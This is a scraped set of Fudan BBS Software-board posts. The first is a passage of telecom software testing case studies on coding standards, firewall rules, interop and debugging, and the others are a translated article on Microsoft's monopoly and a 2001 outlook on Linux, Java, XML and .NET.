我对编程规范的一些思考。 可以说该错误的引起是与编程规范有关,本来函数 BTSM_make_send_site_config()没有对 BTS_no和TRX_no 的合法性判断，在代码审查时，我们考虑到这不符合编程规范中的“检 查所有参数输入的有效性”这一条，于是提出请开发人员增加对参数的有效性检查。 但是我们和开发人员都忽略的一个问题，那就是，该函数被不同级别的对象调用 ，当进行小区级操作时，TRX_NO以0xFF带入，则在函数合法性检查时就会返回，引起上述 错误。 让我们再回头看看这个函数，发现依然不符合编程规范，至少违反了“不要设计多用 途面面俱到的函数”这一条。 查看我们的代码，类似的问题还有不少，而且诸如：函数入口参数不加有效性检查、 函数返回值不加处理等问题也可以找到。这些问题就象一颗颗隐型炸弹，在稍微不注意时 就会带来严重后果。 正如前文所述，测试和开发人员都会因为“代码熟悉程度”、“代码编制时间太久有 所遗忘”等诸如此类的原因而忽略一些问题。这时，良好的程序风格和编程规范就会成为 一把强有力的保护伞。试想如果本文所提到的函数从设计到开发都严格按照规范来进行， 那么这个问题就没有产生的土壤，如果我们的每一段代码的编写都严格遵守规范，那么我 们的系统将变的有多么坚不可摧。 2、注意多出口函数的处理 【案例2.2.1】 摘 要：如果函数存在多个出口，应注意函数对各个出口的处理。 问题描述：根据函数功能的需求，被测函数在函数体开始时保存了当前系统任务模 式，并设置新的任务模式为不可抢占模式，在函数返回时应该恢复任务的旧模式，否则会 影响整个系统功能的实现。可是问题就出在这里。由于函数有复杂的分支结构，有多个出 口，有的出口对任务模式进行了恢复，有的出口没有恢复，这样就可能导致函数返回后系 统任务模式被改变的问题。 问题分析：此问题出现的原因在于函数有多个出口，而程序员往往注重各个分支 功能的实现的细节，而忽视了或者是忘记了在函数出口应做的收尾工作。这就象打一场战 争一样，战争胜利了，还要打扫战场，开总结大会，否则就会象李自成一样，仗打完了就 开始享受了，最后前功尽弃。毛主席说得好：“宜将剩勇追穷寇，不可沽名学霸王”。所 以，函数出口的处理应充分重视。 案例意义：这类问题很常见，对于有多个出口的函数，测试时应充分构造测试例 ，采用分支覆盖的测试方法对函数各个出口的环境恢复、资源释放情况进行观察。对于编 程人员来说，如果使函数有统一出口，可有效避免或减少类似问题。 三、维护类代码问题 1、 统一枚举类型的使用 【案例3.1.1】 【正 文】 在对基站告警屏蔽的测试中，偶尔使用一个告警ID测试，基站出乎意料地报错：消 息与物理位置不一致；通过跟踪消息，发现主机消息中使用的单板类型值与基站的不一致 ；查看主机程序得知：对基站的单板类型（TRX）的定义中：告警台和告警屏蔽使用0X23（ BCID_CUI）,而据基站开发人员称，他们使用的是0X09（BCID_TRX）。 该问题给我们的启示是：测试中我们应尽可能地遍历实际可能的情况；另外希望BT S和BSC的开发人员间的协作更加精密无懈可击！ 2、 注释量至少占代码总量的20％ 【案例3.2.1】对XXX产品BAM某版本部分代码注释量的统计 注释比例统计 比例（按字节） 比例（按字） 比例（按行） 文件名 ============================================================================== ========= 0.000( 0/ 2160) 0.000( 0/ 352) 0.000( 0/ 48) hlr\source\include \aa.h 0.000( 0/ 1317) 0.000( 0/ 137) 0.000( 0/ 64) newalarm\source\inc lude\alarmerr.h 0.080( 228/ 2841) 0.115( 49/ 426) 0.030( 7/ 230) newalarm\source\inc lude\alarmrec.h 0.222( 220/ 988) 0.213( 37/ 173) 0.115( 11/ 95) newconfig\src\inclu de\alarmrec.h 0.000( 0/ 329) 0.000( 0/ 27) 0.000( 0/ 24) newfhlr\source\incl ude\alarmrec.h 0.151( 691/ 4563) 0.242( 128/ 528) 0.114( 26/ 228) hlr\source\assemble r.c 0.229( 631/ 2748) 0.361( 113/ 313) 0.160( 22/ 137) newalarm\source\ass embler.c ============================================================================== ========= 0.088(213896/2423601) 0.122(32953/268773) 0.082(10475/127119) 总计（整个项目） 8％ 12％ 8％ 四、产品兼容性问题 1、系统配置、命令方式 【案例4.1.1】 事故现象：有时RPU A不能被其他网络设备访问，从其他主机或RPU板上PING RPU A，不通 。RPU A自己PING自己，也不通。RPU板复位后，恢复正常。此问题偶然出现。 问题分析步骤： 首先分析造成RPU板网络不通的原因通常有以下几种： A) 物理连接的问题(如网口坏)； B) 以太网设置为自环工作方式； C) 以太网链路层协议有误，Ethernet II、SNAP不一致； D) MAC地址非法(如为广播地址或首位不是偶数等)； E) MAC或IP地址与其它网络设备重复； F) IP协议设置为不转发； G) 设置了防火墙； 经过检查，可以完全排除A、B、C、D、E、F这几种原因，而以太网口也没有设置任何防火 墙规则，默认的包过滤设置为允许通过。但不能排除是防火墙的原因。 为了验证是否是防火墙造成的，打开RPU A的防火墙调试信息。果然，发现是防火墙有限制 ，采用了防火墙规则2，该规则限制访问网络设备。 可是以太网口的防火墙没有配置任何规则，从理论上来说，它应该只适用规则0，即默认规 则。是什么原因使以太网口采用了2号规则呢？ 进一步观察调试信息，发现以太网口所分配的内部用户号为49！这时我们想到防火墙所用 的内部用户号可能与DMU通道号有直接对应关系。经过试验，果然发现对应普通拨号来说， 防火墙内部用户号就等于用户所占用的DMU通道号。 这时，把RPU板上的所有DMU通道闭塞，只保留49号DMU通道，用户拨号上网，让它占用第4 9号通道，并使该用户采用第3号防火墙规则。这是，以太网口同样也该为收第3号防火墙规 则限制。 最后，我们从头重复一次刚才的过程： 1、复位RPU板后，用户没有拨号上网，RPU板以太网口所采用的防火墙的内部用户号为49， 采用第0号防火墙规则。 2、第49号MODEM有用户上网，且该用户采用的防火墙规则为X(0<X<=50)，则以太网口防火 墙规则也相应为X。 至此，问题已经查明，防火墙对以太网口处理不当，不应该分配内部用户号为49给以太网 口，以致与第49号DMU通道形成不应有的关联。这给系统运行带来极大隐患。 【案例4.1.2】 数据通信某产品，在进行终端并行测试的过程中发现一很奇怪的问题。先通过TELNET或N ETTERM登录到主机系统上，然后在两个TELNET终端同时以大包PING主机，PING XXX。XXX。 XXX。XXX ，包长为1000个Bytes，其中一个终端收到两个应答后，不再有任何反应，另一 个终端收到一个应答后，显示超时，此后不再有任何反应。重新TELNET登录，还可以登录 一个TELNET终端，但试图再登录第二个TELNET终端失败（此系统共支持3个TELNET终端）。 测试人员怀疑此前登录的两个TELNET任务已经死掉。于是通过超级终端登录到串口，打开 TRACE信息，TRACE信息显示当前已有3个TELNET任务处于运行状态，但实际上此时已只有一 个TELNET终端可用，另两个TELNET终端已经没有反应了，而且确定再没有其它人登录到此 交换机系统上，至此，确定是前述两个TELNET任务已经死掉。但是，在与开发人员一起重 现此问题时，奇怪的现象发生了，在有的机架上重复上述测试步骤，问题每次都能重现， 而在有的机架上重复上述测试步骤，却非常正常，没有任何问题。开发人员仔细检查程序 也无法发现问题症结所在。此问题持续多日无法解决。最后，经众开发人员会诊，怀疑是 pSOS系统配置的问题，经比较两个产生不同现象的机架上pSoS系统的系统配置文件，发现 其中关于pNA+的Buffer配置部分，某些配置不同。将配置改为无问题的机架上的系统配置 后，进行测试，问题消失。若恢复原配置则问题重现。因此，此问题最后确定为系统配置 有误。 由此案例，我们可得到一个经验，那就是，当系统在不同机架上运行现象不同时，除考虑 其它可能原因外，还应考虑是否操作系统配置不当。另外，此问题还带出了一个附加的问 题，那就是，我们的版本管理存在较大的问题，同为测试机架，但不同的机架上运行的程 序版本却不一样。 2、设备对接 【案例4.2.1】 【正 文】 测试环境： A8010 Refiner通过中继线与Bell 1240交换机进行对接。 现象描述： 从Bell 1240交换机引出PRI中继线接入到Refiner的E1接入口上，接通后看Refiner RPU板的中继灯为灭状态，但用电话进行测试，线路不通为忙音。 原因分析： 问题的原因可能有两点： 1、Bell 1240未送主叫与被叫号码。 2、Bell 1240交换机PRI选路方式与Refiner接入服务器不同 。 解决办法： (1) A8010 Refiner配置好数据后,RPU板正常运转,中继显示正常，但用电话拨号后为忙音 ，后用Debug 进行调试发现Bell 1240交换机未将用户被叫号码送来，而且主叫号码也不对 ，经与与交换机人员联系发现对方的传送的主叫全部为映射的虚拟号码，只有将接入服务 器的主叫号码改为此虚拟号码才行，被叫配置后可正常传送至接入服务器。. (2) 数据配置正常后，发现DMU可进行选路但一选就断开，经调试发现Bell 1240交换机的 PRI选路方式为Channel方式，Refiner接入服务器的默认选路方式为Ts-map方式，经更改配 置后用户可正常接入。 启示与分析 由于我们自己的测试环境一般都是我们的交换机，我们的接入服务器，因此我们的 交换机与接入设备上运行，数据都是配置好的，环境是稳定的，到了与不是我们的设备进 行对接时才发现并不一定别人的设备都与我们完全兼容，有许多东西都是在问题发生后才 认识到的(如PRI的选路方式)，以后在测试中一定要深入细致的测到每一个细小的问题，并 且要近可能的与其它厂家的设备进行对接测试，只有这样才能保证我们产品在卖到局方后 的正常稳定运行。 3、其他 【案例4.3.1】 【正 文】 负荷分担的基本思想是通过每个链路中的带宽来均匀分布流量，目前还没有考虑PMP，2M UNI，34UNI，没有考虑优先级和百分比，况且对于同一局向的路由表的地址长度一定要相 等，目前对于BEST EFFORT呼叫仅分配150K的带宽（UBR业务），此参数可在static void GetBandwidth( STraffic *sTempTraffic, DWORD *pdwBandwidth )函数细调，为了达到统 计均匀，此参数要合适。如有二条负荷分担路由A、B，A中已建了10M的PVC，如果上述参数 太少，则所有BEST EFFORT呼叫都在B上，而不会到A上，如果选取150K，则在B上有70个呼 叫（BEST EFFORT）后，就在A、B上同时都分担呼叫。 根据上述负荷分担的基本思想进行了负荷分担 的功能测试。测试中的线路连接图如下图 所示。 HP测试仪设置Forword/Backword Peak Cell Rate为1000cells/s，测试仪的3口向7口发 起呼叫（信令类型为UNI3.1）。在没有发起呼叫前，将交换机 1、2的5、7和8口的ILMI和 信令均激活，这三个口不建立与其它光口的链路，此时这三个口的已用带宽（Used Band- In/Out）为2000cellsps （sh port 可以看到已用带宽为信令链路所占）。现在由测试仪 3口发起一次呼叫，sh port 5、7可以看到已用带宽由2000变为3000，同时建立起一条5口 和7口间的SVC。再发起第二次呼叫，sh port 8可以看到已用带宽由2000变为3000，而 5口 的已用带宽由3000变为4000，同时增加了一条5口和8口间的SVC。如此不断地发起呼叫，可 以看到7口和8口的已用带宽是交替在增长的，这样就证明了负荷分担功能的实现。 Radium.MPU%sh po 7 Port status : Active Band width : STM_1 O/E attribute : Optical Clock attribute : Source timing Type : UNI Loopback mode : No loop Alarm status : NODEFECT Max Band-In : 353207 Max Band-Out : 353207 Used Band-In : 2000 Used Band-Out : 2000 Max VPCs : 100 Max VCCs : 1900 Used PVPs : 0 Used PVCs : 2 Used SVCs : 331 Test mode : off 在测试的过程中出现了如下的现象：交换机1的7口和交换机2的7、8口的ILMI注册成功， 三个口都获得了对端的网络前缀，只有交换机1的8口的ILMI状态为VERIFYING，却没有获得 对端的网络前缀，从LOG信息看，该口的ILMI注册过程正确。经查该口的ILMI协议版本为3 .1，信令版本为UNI3.1，而其它三个口的ILMI协议版本为4.0， 信令版本为IISP，发起的 所有呼叫都从交换机1的7口中继到交换机2，8口没有进行分担。将交换机1的8口的ILMI协 议版本设置为4.0，8口即可进行负荷分担。这说明ILMI协议版本没有实现自适应的功能。 后与开发人员沟通后得知，我们交换机的ILMI4.0版本可以自适应其它厂家的ILMI3.1版本 ，但不自适应我们自己交换机的ILMI3.1版本，对端网络前缀的获得也仅限于ILMI4.0 ，并 且是非协议规定的，是由我们自己设计的，设计中没有考虑ILMI3.1 对获得对端网络前缀 的支持。在实际开局中，ILMI是不激活的，信令版本是由手工设置为IISP的，以实现与其 它厂家的产品的互通。 测试结果说明负荷分担功能已经正确地实现了，但条件是ILMI的版本必须为4.0。 五、版本控制问题 1、新老代码中同一全局变量不一致 【案例5.1.1】 【正 文】 开始时，RPU板的网口地址为202.2.68.56，通过以太网口对RPU板上的软件和数据 进行加载，RPU板运行正常，程序和数据全部正确；改变RPU板的地址（10.2.68.56），进 行用户呼叫接入测试，发现用户正确输入的用户名和口令不能验证通过，在RPU板的telne t窗口中打开RADIUS调试开关，显示认证请求报文和计费报文发往正确的RADIUS服务器，但 是一直没有收到应答，局方维护人员查看RADIUS服务器，也找不到任何记录，验证和计费 始终不能成功。 接下来通过以下几个途径尝试定位问题： 1、在另一块RPU板上加载老版本的程序（注意这块RPU板的地址已经是10.2.68.5 7），重新测试，认证和计费正常进行，没有出现以上问题，可以排除对方RADIUS服务器存 在问题的可能。 2、可能出现问题的地方是RADIUS报文的发送和接受，考虑到RADIUS报文是以UDP 包的方式传送，所以在RPU的telnet中打开UDP报文的调试开关，跟踪RADIUS报文，发现RA DIUS报文已经发送，但是在其填充的源地址（Source IP Address）字段的值是202.2.68. 56，由此可以定位问题，是RADIUS模块在填充发送的RADIUS报文的源地址时仍然用RPU板改 变地址前的老地址，导致RADIUS服务器发送的应答报文不能正确返回。 问题已经定位，时间紧迫，不可能立即修改程序，所以只能采取重新复位所有的 RPU板的方法来暂时回避问题再次发生。 启 示： 1、软件全局变量的更改，要考虑到每一个模块受其影响的可能； 2、测试人员在测试中要尽可能地多考虑到各种情况下的边缘取值。 六、可测试性代码问题 1、调试信息/打印信息的正确性 【案例6.1.1】 【正 文】为制作软件呼叫器，对SPT板的放音程序进行了修改，但是调试中发 现进行呼叫后一段时间交换机自动重启。于是在修改的代码开始处增加了打印消息，跟踪 程序流程。程序结构如下： 再次跟踪打印信息，发现消息打印消息1开始后就会发生重启现象，多次重试，发现消息1 的结束跟踪打印有时有有时无，而消息2的打印一直没有跟踪到。初步判断程序错误发生在 对消息1的处理于是集中力量检查对消息1的处理，但经过长时间的检查，并未在此处理流 程中发现错误。于是在消息1的开始处直接RETURN，屏蔽掉消息1的处理。再次测试，发现 重启现象依旧，偶尔能够看到函数入口处的打印消息。 为什么会出现这样的情况呢？什么情况导致重启呢？ 从修改的情况看，可能的地方只有此两条消息处，会不会是第二条消息的处理造成的？虽 然从现象看不太可能。报着试一试的想法在消息2的入口处也加了一RETURN，居然重启现象 不重现了。 立即检查消息2的处理，很快发现在处理的开始由于指针使用错误导致程序死机重启。 错误是简单的，但是根据现象却使人得到错误判断。为什么消息2导致死机但其前的打印消 息为什么后台看不见呢？ 考虑一下交换机的消息打印机制，我们会发现，在程序中的打印消息并不是马上在后台上 显示，消息从主机传到后台需要一定的时间。如果用Printf打印消息不久后，程序就发生 严重错误而导致程序死机，而打印消息还没有来得及发送到后台，当然就不会出现我们想 “应该有的”打印消息。 【总结】 1、由于环境的特殊性，我们常常认为“应该”的事件并没有发生，导致我们对问题迷惑不 解； 2、“表面现象往往是骗人的”，要找到问题的实质可能需要绕过明显摆在我们面前的“表 面现象”，从另一个角度考虑一下； 案例与练习第二部分 练习 用户login模块的编制：首先password.txt记录了注册用户的id和口令，password.txt文 件每一行格式为：Id%%%%Password 其中： Id: (字母+数字) 最多16 字符 Password: (字母+数字) 最多16字符 要求用户输入id/口令时，程序通过查找password.txt，检查用户是否存在，是否合法，直 接输出相应结果；当用户直接回车时，程序退出。要求考虑一般的异常。 规则： 1. 小组来完成； 2. 首先花30--40分钟画流程图； 3. 然后30－40分钟编码，用C语言，人人都编； 4. 30-45分钟小组内部讨论，选择最有代表性的，认为比较好的，先自行评点； 5. 45分钟--1小时，集体评审； 1〕不符合规范的是部分------〉集体自醒； 2〕符合规范的----------------〉加强巩固； 6. 要求严格按软件编程规范来进行编码、评审； 7. 保留代码，下一节要用。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·HTTP [FROM: 10.11.12.192] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.131.108] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: panden (香寒居士〜〜走我路~~~从早到晚), 信区: Software 标 题: The land of Monopolies 发信站: 日月光华 (2002年09月22日17:19:25 星期天), 站内信件 The land of Monopolies（垄断的乐土） By John Schwartz 美国哥伦比亚特区巡回法庭联邦上诉法院星期四作出判决，驳回了联邦地方法 官托马斯·朋菲尔德·杰克逊拆分微软的裁决。看来重要的问题似乎是：谁是赢家？ 鉴于上诉法院同意杰克逊法官的看法，认为微软的垄断却是具有挤跨竞争对手的性 质，这个问题就耐人寻味了。 但是无论这个案件中的答案十四还没经济学家们和技术专家们都逐渐意识到， 微软的垄断可能只是折磨因特网经济的一个问题最明显的症状。 依赖于因特网而生存的软件业和服务业崇尚这样的口号：“迅速扩张”和“胜 者拥有一切”。但是这使得这些行业中的一些观察家感到困惑的是，有好些因素可 能使与因特网相关的这些产业成了垄断滋生的土壤。 这些因素不全是新生的。传统的规模经济肯定使得大批量生产的产品越来越便 宜。而在销售软件这样的知识产品时，这种趋势就更明显——因为开发一种产品的 花费相当大，而把它制成盘并大量的销售却几乎不花什么钱。这使新手进入市场的 难度更大了。因为他们在能尝试销售之前必须花许多时间和金钱开发产品。 人的惰性也是其中的一个因素，因为消费者和商家都不愿意使用新系统所带来 的挫折感和世时间耽搁。加利福尼亚大学伯克利分校信息管理与系统学院的院长、 经济学教授哈尔·R·瓦里安说，这种“锁定效应”帮助商家保持其市场的主导地位 因为它设置了一种不同的、使新手难以进入市场的障碍——这种障碍不是公司进入 市场的花费，而是顾客做出转变的花费。 瓦里安先生说，真正推动因特网经济发展的是一种相对新颖的、称之为“网络 效应”的现象。其观点是，一种基于互联的科技会随着使用它的人数增多，而变得 更具吸引力和更有价值。 网络效应的威力通过诸如美国在线的“即时信使”等略见一斑。瓦里安先生说， 一旦青少年意识到放学以后可以上网闲聊，这种技术就会成为一种必需品——其使 用就会激增。它很快使美国在线在拥有1亿多人的市场中形成了一个准锁定圈，而这 个圈子正是微软奋力要闯入的。 综合所有这些因素你就会发现，在这种环境下不断扩张会一次一次地给商家带 来收益，而消费者本身又不断地在助长着这种扩张的欲望。 “随着软件逐渐成为我们生活中越来越重要的一部分，它同样也成了经济中越 来越重要的一部分，而这就成了一个越来越严重的问题，”迈哈密大学法学院教授 麦克尔·弗鲁姆金说。 这种效应的影响不仅仅局限于软件业。在这个新市场的推动下，英特尔公司占 领了个人电脑微处理器80％的市场——并且这一份额将继续扩大，因为上星期康柏 公司已宣布，从2004年开始停止向用户提供公司自产的阿尔法处理器。一直主导着 数据库市场的甲骨文公司使第二大软件公司——只有微软比它更胜一筹。还可以问 问几乎任何一个十几岁的孩子关于美国在线的“即时信使”软件对市场的垄断情况。 在一个扩张浪潮高涨的世界中，政策制订者应该做些什么呢？杰克逊法官认为 微软损害了消费者的利益，这不是因为它把价格抬的太高，而是因为它抑制了一个 真正开放的市场所应享有的创造性和竞争性。 斯坦福大学的法学教授、《信息空间的准则及其他法则》的作者劳伦斯·I·莱 辛格说，无论微软选择继续打官司还是就此罢休，它真正的意图都将会在其以后的 产品体系结构中显现出来。 “谈创立的准则是准备使竞赛更公平呢，还是使竞赛向他们一方倾斜？”他问道。 “微软比其他公司更能意识道体系结构的重要性，”莱辛格先生说。 有人认为所谓的开放源代码技术——如Linux计算机操作系统这样的软件——可 能会给商业软件巨人带来真正的竞争压力。这些软件平台都是由自愿者设计的，可 免费赠送。但是Linux像其他那些出于对软件的热爱而设计出的软件一样，不是那 种便于安装，只要是人都会用的真正的用户型产品。虽然那些经营网站的人都争相 使用那些免费的开放式软件，但是消费者们还没有行动起来。 有些评论家认为科技发展的速度太快，从而使政府无法对其进行有效的管理， 所以只能让迅猛发展的科技市场进行自我调节。他们指出，技术市场变幻莫测，今 日的垄断者也许就是明日的失败者——这是从像诸如Lotus1－2－3和Wordstar等产 品制造商垄断的惨败中得出的教训。 经济学家戴维·S·埃文斯和理查德·施马伦塞在最近一篇论文中指出，传统的 反垄断法可能并非是解决这些新生问题的最佳工具。这2位经济学家曾写过多篇论文 和法律材料，支持微软在这场反垄断案中的立场。他们说，虽然政府应该采取措施， 制止公司滥用垄断地位莱削弱竞争对手，但是“反垄断的实施应该考虑到新经济产 业与传统经济产生的巨大差异。 他们写道，特别是尽管一个占主导地位的公司所占有的市场份额处于支配地位， 具有“胜者拥有一切”的特征，但如果它能证明该领域的竞争是健康积极的，那么 这一事实就“应该成为对其具有挤跨对手行为的指控的有力辩护”。 麻省理工学院斯隆管理学院的院长施马伦塞拒绝对此给予评论，因为如果微软公 司的案子进去一个新阶段，他预料会作为证人出庭作证。 克卢克林学会的经济学家罗伯特·利坦虽然承认“司法时间远远落后因特网时 间”，但是他认为，不应因为反垄断条例在新经济环境下难以适应就弃之不用。 他说，政府仍在与恐怖主义作斗争，虽然随着时间的流逝人物越来越艰巨。尽管 他不愿把反垄断与反恐怖主义相提并论，但是又说：“我们可能无法阻止它，不过我 们连试都不去试的话就太愚蠢了。 “我们的确需要对这些大赢家严加观察，”他说。这自然意味着关注那些最强大 的商家，因为“垄断者所处的地位会使他们滥用权利”。 From：The world of English 2002 Vol 9 -- ★　　非淡泊无以明志 ��　非宁静无以致远 和时间比一比＝？ Just I am！ ��� ☆ E个人的☆凤翼天翔★精彩，single 　 　 ●　　 ����　　 ┌────┐ ★香寒居士☆ 　走我路 /■\　 ������　 │回到未来│ 大四了，haha ~ ~ �n�T�n 　|| �T�n�T�n�T�n�T�n └┬──┬┘ 物理系光学专业 @ | @ 生日快乐，我衷心的祝福你......〜〜to my dear sister保持至10.2 /*\ ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.83.153.136] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: panden (香寒居士〜〜走我路~~~从早到晚), 信区: Software 标 题: 2001年软件热点技术展望 发信站: 日月光华 (2002年09月24日14:36:47 星期二), 站内信件 2001年软件热点技术展望 林华 � � 21世纪第一年的钟声刚刚响起，业界已经开始了新一轮的拼搏。 在过去的一年里，IT界可真是风起潮涌，不但.com公司全线回落， 还有IT企业的股票缩水。但是，技术的更新换代，仍然如吃饭睡觉 般时时影响着我们。在业界，有这样一句话：“只要进入IT行业， 哪怕稍微打个盹，可能你已经落后了。”虽然有点夸张，但也让我 们每个人都深深体会到信息时代的高速发展。在这里，我们介绍一 些在今年对业界有着重大的影响，且拥有强大生命力和市场价值的 一些软件技术。 � � ●Linux � � 关于Linux，我想每个接触计算机的人都会多少有些耳闻，应该 说Linux在国内外现在已经不是一个新的名词，从最初的Linus做出核 心版本开始，不到几年的时间，不同版本的Linux操作系统已经开始 广为应用。从目前的统计数据来看，Linux表现出了极大的生命力， 特别是在服务器领域，使得原先Unix和Windows NT两强争霸的局面 变成现在的三国鼎立。1998年，Linux就以212%的增长速度抢占了17% 的市场份额；1999年，市场份额增加到了25%；而2000年，根据国际 数据集团的最新数据，Linux已越来越接近WinNT的市场占有率。专家 指出，根据目前的发展势头，到2003年底，视窗NT及其后续系统将不 再是市场上占领先地位的操作系统软件。 � � 从目前的Linux市场份额分析来看，短期内在个人PC的使用上， 大多数人还不会舍弃Windows去使用Linux，但是我们应该看到Linux 在服务端市场、PDA、无线应用、嵌入式设备上的使用前景非常好。 � � 大家都应该还记得“泰坦尼克”这部经典大戏，它使用Linux系 统，精彩地重现了那段惊心动魄的历史。而未来，还有多场大戏── 生活、科技、商业、民族主义⋯⋯都将由Linux来导演。不管Linux是 成是败，开放源代码的风潮，带来扭转游戏规则的机会，一如Internet， 在这波风潮下，我们是否已作好出征的准备？ � � ●Java � � 当大家还在为有了Linux这样的开放源代码的操作系统激动不已 的时候，你可能还在苦恼为什么在Windows下开发的应用程序只能在 Windows下面使用，要想拿到Unix上使用的话只能重新写一遍，而一 种叫Java的编程语言也许可以帮助你做这些事情，并且它的技术还 在不断完善和发展。我们不用再发愁我的Windows下的应用程序无法 在Unix下使用，而且可以在网络上开发功能强大的电子商务系统， 而Java能带给我们的远不止这些。 � � 1995年，当Java技术首次被公开时候，正是全世界Internet开始 普及的时候，而Java也由于它在网络应用方面的强大功能而不断地发 展完善。如今的Java技术，已经涵盖手机电话的软件开发、企业系统 服务器的中间软件、电子商务交易、Web应用软件等多个领域。Java目 前除了作为主流的编程语言，应用于传统的PC上外，更多在于服务器 端的应用，而同时Java已经开始在机顶盒、汽车、游戏机、移动电话 等其他非PC装置上的软件编写上，推出了相应的Java技术。 � � ●XML � � Java从开始发展到目前为止，一直和网络密切相关，而基于下一 代浏览器标准的XML语言(eXtensible Markup Language，可扩展标识 语言)如今和Java密切相关。开发人员可以编写基于Java的、能够生成 并交换XML信息的电子商务软件，将会取代现在使用的脚本编写加HTML (HyperText Markup Language，超文本标识语言)的方法。 � � 目前，网络的应用可说是人类通过电脑语言来获取信息，即1990 年英国程序设计师开发出的HTML，它必将被一个逐渐酝酿的新标准XML 所取代。由于众所周知的HTML语言的局限性，比如没有交互性等，使 得即使在浏览器端使用也必须借助其他的服务器端和客户端程序。比 如现在使用的JavaScript和ASP、JSP、PHP之类的语言。 � � 由于万维网的应用平台逐渐走出个人电脑局限而迈向信息家电， 以及光纤网络或无线基础设施逐渐遍及全球，万维网无可避免地将真 正发展成为一个全球网络。XML将取代目前的HTML，它可以辨认电脑 上的资料，因此可以允许机器之间直接沟通，不需要人们的指令。这 样的演进将是一个划时代的突破，专家预期在今后3年，XML将是下一 代网络发展中枢，它带来的文化含义也可能比第一代网络更深远。其 中一个可能性是，一个自动化的全球市场将会应运而生，其中供应商 与制造商将以电脑串联，机械式地自动搜寻、采购、销售及提供服务 等，而且基因研究人员将可在其他电脑系统的资料库中探询并找出潜 在的医药处方。目前包括微软、IBM、SUN等老牌IT巨头公司都在重点 支持XML的研发支持，SUN更是让Java与XML密切联系起来。应该说， 下一代的互联网浏览器的标准将会采用XML从而取代HTML语言。 � � ●分布式应用 � � 自从面向对象编程(OOP)思想诞生以来，随着技术的不断发展和 完善，它在软件开发中的重要性也日益突出。现在，采用面向对象技 术，实现应用系统的快速实施与便利维护的分布式应用，已经成为软 件界的流行时尚。 � � 通俗地讲，分布式应用就是把联网的计算机当作一个巨型的计算 机，所有的操作系统和应用程序，使用分布式模型来进行应用，而不 需要考虑这个应用对象来源于哪一台计算机。 � � 很多企业从信息化建设开始，都是断断续续，当然这样带来的后 果是系统平台分散凌乱。比如这个应用建在NT上，那个应用建在UNIX 上，数据库有的是Oracle，有的是Sybase，有的还是不同的硬件平台， 这些都为企业之间数据和应用的整合和开发带来了很大的困难，因而 也需要花费更大的代价，而通过使用分布式计算模型，将能解决上述 的问题。大多数分布式计算采用了一种叫对象请求代理(Object Request Broker，ORB)的计算模型。现在由OMG组织推出的CORBA(Coman Object Request Broker Architecture，公共对象请求代理结构)，已经成为 了一种标准，开始作为一种商品在世界范围内使用。作为一门最新的 标准技术，CORBA在国内还不是很流行。但是，现在国内大型的企业已 经开始为自己的系统和应用进行整合，大多数采用了CORBA的标准，应 该说这是一项值得重视的技术。 � � ●Microsoft.net � � 微软，这个世界上最牛的软件公司，现在不但被一连串的官司搞 得头大，被黑客入侵丢了面子，而且股市还一路下滑。当然，这个软 件世界上的老大，当然不会束手就擒，微软已经制定了一种称为.net 的战略。而且从微软内部，早就开始了基于.net的应用，这也是 比尔·盖茨导演的又一出重头戏。 � � 有人说，.net其实是Java的复制品，它推出一种类似Java虚拟机 的东西来跨平台运行。但是，从核心思想来说，它应该是一种先进的 技术平台。.net平台的核心是，采用有效的、分门别类的方式来构建 应用程序，达到前所未有的规模。该平台上的Web服务模型指的是：企 业应用程序的中心业务要素通常由本地管理，而支持它们的服务(如用 户认证、文件存储、用户首选项管理、日历、邮件等等)却无须本地管 理，可以被无缝订购。 � � 凭借微软强大的技术实力和庞大的客户群，.net将会成为将来的 一种主流应用平台。 � � ●网络数据库 � � 作为全球第二大软件公司，最新的Oracle 9i数据库称为软件平台 的下一代旗舰产品 。Ora cle的管理层人士称它代表了Oracle有史以来 “最重大的软件工程”。业内分析家认为，该产品至少是Oracle近几 年来发布的最重要的数据库。它使用了新软件群──一种叫做Oracle 9i Real Application Clusters的独立产品，编码为Cache Fusion。 Cache Fusion可以至少将性能提高2倍，把应用软件的性能推进10倍！ 该软件群可以应用于Unix、Windows、Linux和OS/390多种操作系统中。 � � 全球网络应用大幅度发展的同时，面对未来的信息时代，基于网 络的数据库将是一种主流技术。同时，目前很多大型企业开始推行ERP、 CRM等BI应用，对于数据库的在线分析、分布式应用等功能要求更大， 通过9i，Oracle也明显地提高了它线上分析处理和数据开发的功能。 而由于电子商务的发展，Oracle 9i推出的及时动态服务，开发者可以 建立电子商务网站服务。此电子商务网站服务，可从任何网站、数据 库获取内容来源、存取和整合信息，并根据这些信息的作用和客户所 用的组件的种类，为每个客户进行信息个性化处理。业内分析家认为， 通过这款新式数据库，在综合数据分析功能方面，Oracle会更加领先 于对手。 � � 编后：人类在经历了工业革命时代、电气时代、电子时代之后， 如今又伴着新世纪进入了信息时代。综观以上几个在业界有着重大影 响的技术，我们不难看出，它们或多或少与网络有着千丝万缕的联系， 这正揭示了我们这个时代计算机技术的发展方向──网络和软件将不 再是可分的。未来，网络就是软件，软件就是网络。希望不久的将来， 我们每一个人都能享受到新事物给我们带来新生活！ -- ★　　非淡泊无以明志 ��　非宁静无以致远 和时间比一比＝？ Just I am！ ��� ☆ E个人的☆凤翼天翔★精彩，single 　 　 ●　　 ����　　 ┌────┐ ★香寒居士☆ 　走我路 /■\　 ������　 │回到未来│ 大四了，haha ~ ~ �n�T�n 　|| �T�n�T�n�T�n�T�n └┬──┬┘ 物理系光学专业 @ | @ 生日快乐，我衷心的祝福你......〜〜to my dear sister保持至10.2 /*\ ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.83.153.136] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
